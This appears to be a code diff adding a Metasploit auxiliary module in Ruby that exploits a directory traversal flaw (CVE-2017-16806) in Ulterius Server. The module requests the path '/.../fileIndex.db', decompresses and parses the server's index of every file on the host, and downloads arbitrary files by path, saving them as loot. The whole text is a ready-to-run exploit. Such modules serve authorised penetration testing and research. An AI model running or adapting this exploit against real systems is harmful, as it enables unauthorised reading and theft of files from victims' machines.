|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + include Msf::Exploit::Remote::HttpClient |
| 8 | + |
| 9 | + def initialize(info = {}) |
| 10 | + super(update_info(info, |
| 11 | + 'Name' => 'Ulterius Server File Download Vulnerability', |
| 12 | + 'Description' => %q{ |
| 13 | + This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0 |
| 14 | + to download files from the affected host. A valid file path is needed to download a file. |
| 15 | + Fortunately, Ulterius indexes every file on the system, which can be stored in the |
| 16 | + following location: |
| 17 | +
|
| 18 | + http://ulteriusURL:port/.../fileIndex.db. |
| 19 | +
|
| 20 | + This module can download and parse the fileIndex.db file. There is also an option to |
| 21 | + download a file using a provided path. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Rick Osgood', # Vulnerability discovery and PoC |
| 26 | + 'Jacob Robles' # Metasploit module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + [ 'EDB', '43141' ], |
| 32 | + [ 'CVE', '2017-16806' ] |
| 33 | + ])) |
| 34 | + |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + Opt::RPORT(22006), |
| 38 | + OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']), |
| 39 | + ]) |
| 40 | + end |
| 41 | + |
| 42 | + def process_data(index, parse_data) |
| 43 | + length = parse_data[index].unpack('C')[0] |
| 44 | + length += parse_data[index+1].unpack('C')[0] |
| 45 | + length += parse_data[index+2].unpack('C')[0] |
| 46 | + length += parse_data[index+3].unpack('C')[0] |
| 47 | + |
| 48 | + index += 4 |
| 49 | + filename = parse_data[index...index+length] |
| 50 | + index += length |
| 51 | + return index, filename |
| 52 | + end |
| 53 | + |
| 54 | + def inflate_parse(data) |
| 55 | + zi = Zlib::Inflate.new(window_bits =-15) |
| 56 | + data_inflated = zi.inflate(data) |
| 57 | + |
| 58 | + parse_data = data_inflated[8...-1] |
| 59 | + remote_files = "" |
| 60 | + |
| 61 | + index = 0 |
| 62 | + print_status('Starting to parse fileIndex.db...') |
| 63 | + while index < parse_data.length |
| 64 | + index, filename = process_data(index, parse_data) |
| 65 | + index, directory = process_data(index, parse_data) |
| 66 | + remote_files << directory + '\\' + filename + "\n" |
| 67 | + |
| 68 | + #skip FFFFFFFFFFFFFFFF |
| 69 | + index += 8 |
| 70 | + end |
| 71 | + myloot = store_loot('ulterius.fileIndex.db', 'text/plain', datastore['RHOST'], remote_files, 'fileIndex.db', 'Remote file system') |
| 72 | + print_status("Remote file paths saved in: #{myloot.to_s}") |
| 73 | + end |
| 74 | + |
| 75 | + def run |
| 76 | + path = datastore['PATH'] |
| 77 | + # Always make sure there is a starting slash so as an user, |
| 78 | + # we don't need to worry about it. |
| 79 | + path = "/#{path}" if path && path[0] != '/' |
| 80 | + |
| 81 | + print_status("Requesting: #{path}") |
| 82 | + |
| 83 | + begin |
| 84 | + res = send_request_cgi({ |
| 85 | + 'uri' => normalize_uri(path), |
| 86 | + 'method' => 'GET' |
| 87 | + }) |
| 88 | + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, |
| 89 | + Rex::HostUnreachable, Errno::ECONNRESET => e |
| 90 | + vprint_error("Failed: #{e.class} - #{e.message}") |
| 91 | + return |
| 92 | + end |
| 93 | + |
| 94 | + if res && res.code == 200 |
| 95 | + if path =~ /fileIndex\.db/i |
| 96 | + inflate_parse(res.body) |
| 97 | + else |
| 98 | + myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, path, 'Remote file system') |
| 99 | + print_status("File contents saved: #{myloot.to_s}") |
| 100 | + end |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | +end |
0 commit comments